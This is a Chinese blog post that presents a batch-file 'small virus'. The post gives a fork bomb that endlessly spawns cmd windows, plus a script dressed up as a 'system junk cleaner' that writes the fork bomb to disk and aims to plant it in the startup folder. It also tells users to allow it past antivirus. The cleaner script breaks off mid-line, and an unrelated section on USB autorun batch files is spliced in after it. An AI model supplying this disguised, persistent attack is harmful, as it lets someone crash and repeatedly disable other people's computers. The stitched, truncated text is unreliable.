用bat写的一个小病毒

博主通过学习bat知识,创建了一个看似系统清理工具但实际上会在用户开机时自动运行的批处理程序,以此消耗系统资源。程序通过将windows.bat写入开机启动目录实现开机自启,用户需谨慎对待未知bat文件,以防中招。提醒用户应在安全环境中测试不可信程序。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近看了一点bat的知识,具体说是看了一个博客:http://blog.youkuaiyun.com/qsyzb/article/details/17364581

用了三天才看完=。=,感觉作者整理整理可以把博客当书买了。。。

然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源。。。呵呵。。让大神见笑了=。=

windows.bat

start cmd
%0

用户打开这个程序之后,程序就会不断打开cmd,占用系统资源,导致系统瘫痪。%0是再次执行该程序的意思。

但是,这样只能让用户死机一次。。。。重启系统以后,不再打开这个文件以后,就不再会中招了。。。。。

于是做了优化:

写了一个系统清理工具(这只是掩饰,嘿嘿,其实我们是要把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的。但是,也不是不可以解决。。。用户可以使用pe到开启启动目录把windows.bat文件删除,或者重装系统,只测试了xp和win7)

废话不说了,上代码:


系统垃圾清理工具:

@echo off
title 系统垃圾清理
color 2f
echo 	=====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
echo.
echo.
echo start cmd >c:\windows\windows.bat
echo %%0>>c:\windows\windows.bat
copy c:\windows\wi
### 如何编一个BAT脚本以自动启动指定软件 要实现通过BAT脚本自动启动指定软件,可以通过以下方式完成。以下是具体的说明以及示例代码。 #### 创建批处理文件的基础知识 批处理文件(Batch File)是一种简单的脚本文件,扩展名为 `.bat` 或 `.cmd`。它可以用来执行一系列命令,这些命令通常是 Windows 命令提示符下可用的指令。为了使 U 盘插入后能够自动运行特定软件,需要创建一个包含 `start` 命令的 BAT 文件[^1]。 #### 编BAT脚本的具体方法 下面是一个基本的BAT脚本模板,用于启动指定路径下的应用程序: ```batch @echo off :: 启动目标程序 start "" "C:\Path\To\Your\Application.exe" exit ``` - **`@echo off`**: 这条命令的作用是关闭命令回显,使得在运行脚本时不显示每一条被执行的命令。 - **`start`**: 该命令用于启动一个新的窗口并运行指定的应用程序或文件。这里的双引号表示可选的标题参数,在此为空字符串;第二个参数则是实际的目标程序路径。 - **`exit`**: 脚本结束时退出命令解释器。 如果希望将此功能应用于U盘,则需注意两点: 1. 将上述脚本保存为`.bat`文件,并放置于U盘根目录; 2. 配置好`Autorun.inf`文件以便触发自动运行机制。 然而需要注意的是,现代操作系统出于安全考虑,默认情况下可能禁用了USB设备上的自动播放功能。因此即使设置了正确的配置也可能无法生效。对于这种情况,用户可以选择手动双击运行存储介质中的.bat文件来达到相同效果。 #### 示例:完整的 Autorun 设置 假设我们要设置当插入 USB 设备时自动打开记事本 (Notepad),则可以在 U 盘上建立如下两个文件: 1. 名称为 `autorun.inf` 的纯文本文件,内容如下所示: ``` [AutoRun] open=runme.bat icon=notepad.ico ``` 2. 另外还需要准备上面提到过的 runme.bat 批处理文件, 它的内容应该是调用 notepad.exe : ```batch @echo off start "" "%ProgramFiles%\Notepad\notepad.exe" exit ``` 这样做的前提是确保系统允许从外部媒介读取 autorun 指令并且没有被防病毒程序阻止。 #### 注意事项 尽管可以按照以上步骤操作,但由于安全性原因大多数当代计算机已经默认关闭了这种类型的自动化行为。所以在某些环境中即便正确地构建好了所有的必要组件也未必能看到预期的结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值